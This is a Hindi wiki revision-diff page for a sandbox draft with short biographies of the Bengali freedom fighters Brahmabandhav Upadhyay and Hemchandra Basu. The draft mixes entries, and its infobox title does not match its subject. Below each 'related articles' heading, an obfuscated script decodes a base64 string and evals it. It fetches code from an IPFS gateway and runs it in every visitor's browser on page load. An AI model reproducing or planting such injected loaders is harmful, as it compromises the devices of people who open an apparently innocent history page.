"प्रयोग:माधवी": अवतरणों में अंतर
(→लेखक) |
No edit summary |
||
पंक्ति 31: | पंक्ति 31: | ||
[[3 सितंबर]], [[1907]] को गिरफ्तार हुए और अदालत में अपनी सारी जिम्मेदारी स्वीकार कर ली। मुकदमा चल रहा था कि बिमारी के कारण [[27 अक्तूबर]], 1907 को देहावसान हो गया। | [[3 सितंबर]], [[1907]] को गिरफ्तार हुए और अदालत में अपनी सारी जिम्मेदारी स्वीकार कर ली। मुकदमा चल रहा था कि बिमारी के कारण [[27 अक्तूबर]], 1907 को देहावसान हो गया। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | |||
==टीका टिप्पणी और संदर्भ== | |||
<references/> | |||
==संबंधित लेख== | |||
{{स्वतंत्रता सेनानी}} | |||
__INDEX__ | |||
__NOTOC__ | |||
'''हेमचंद्र बसु''' ([[अंग्रेज़ी]]: ''Hemchandra Basu'') यह [[बंगाल]] के प्रसिद्ध क्रांतिकारी थे, जिनकी कई मामलों में पुलिस को तलाश थी।<ref>{{cite web |url=http://www.kranti1857.org/pish%20bangal%20%20krantikari.php#Hemchandra%20bshu|title=हेमचंद्र बसु|accessmonthday=10 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref> | |||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} |
10:37, 10 मार्च 2017 का अवतरण
माधवी
| |
पूरा नाम | ब्रह्मबांधव उपाध्याय |
जन्म | 1 फ़रवरी, 1861 |
जन्म भूमि | कलकत्ता |
मृत्यु | 27 अक्तूबर, 1907 |
मृत्यु कारण | बिमारी |
सम्बंधित व्यक्ति | रवींद्रनाथ टैगोर |
अन्य जानकारी | ब्रह्मबांधव उपाध्याय ने भारतीय दर्शनशास्त्र पर इंग्लैंड में कई भाषण दिए। बाद के दिनों में कई पत्रों का संपादन किया और अंग्रेज़ों के विरूद्ध उत्तेजक लेख लिखे। |
अद्यतन | 04:31, 4 मार्च-2017 (IST) |
ब्रह्मबांधव उपाध्याय (अंग्रेज़ी: Brahmabandhav Upadhyay, जन्म- 1 फ़रवरी, 1861, कलकत्ता; मृत्यु- 27 अक्तूबर, 1907) भारतीय स्वतंत्रता सेनानी, पत्रकार, धर्मशास्त्री, और रहस्यवादी थे।[1]
जन्म
ब्रह्मबांधव उपाध्याय का जन्म 1 फ़रवरी, 1861 को कलकत्ता के निकट खन्नन में हुआ था।
लेखक
ब्रह्मबांधव उपाध्याय एक प्रकांड विद्वान जिनका हिंदी, अंग्रेज़ी, संस्कृत और फारसी भाषाओं पर असाधरण अधिकार था। वे पहले अध्याक रहे। ब्रह्मबांधव उपाध्याय ने गुरूदेव श्री रवींद्रनाथ टैगोर की शांति निकेतन की स्थापना में सहयोग दिया। ब्रह्मबांधव उपाध्याय ने भारतीय दर्शनशास्त्र पर इंग्लैंड में कई भाषण दिए। बाद के दिनों में कई पत्रों का संपादन किया और अंग्रेज़ों के विरूद्ध उत्तेजक लेख लिखे।
मृत्यु
3 सितंबर, 1907 को गिरफ्तार हुए और अदालत में अपनी सारी जिम्मेदारी स्वीकार कर ली। मुकदमा चल रहा था कि बिमारी के कारण 27 अक्तूबर, 1907 को देहावसान हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ ब्रह्मबांधव उपाध्याय (हिंदी) क्रांति 1857। अभिगमन तिथि: 4 मार्च, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हेमचंद्र बसु (अंग्रेज़ी: Hemchandra Basu) यह बंगाल के प्रसिद्ध क्रांतिकारी थे, जिनकी कई मामलों में पुलिस को तलाश थी।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हेमचंद्र बसु (हिंदी) क्रांति 1857। अभिगमन तिथि: 10 मार्च, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>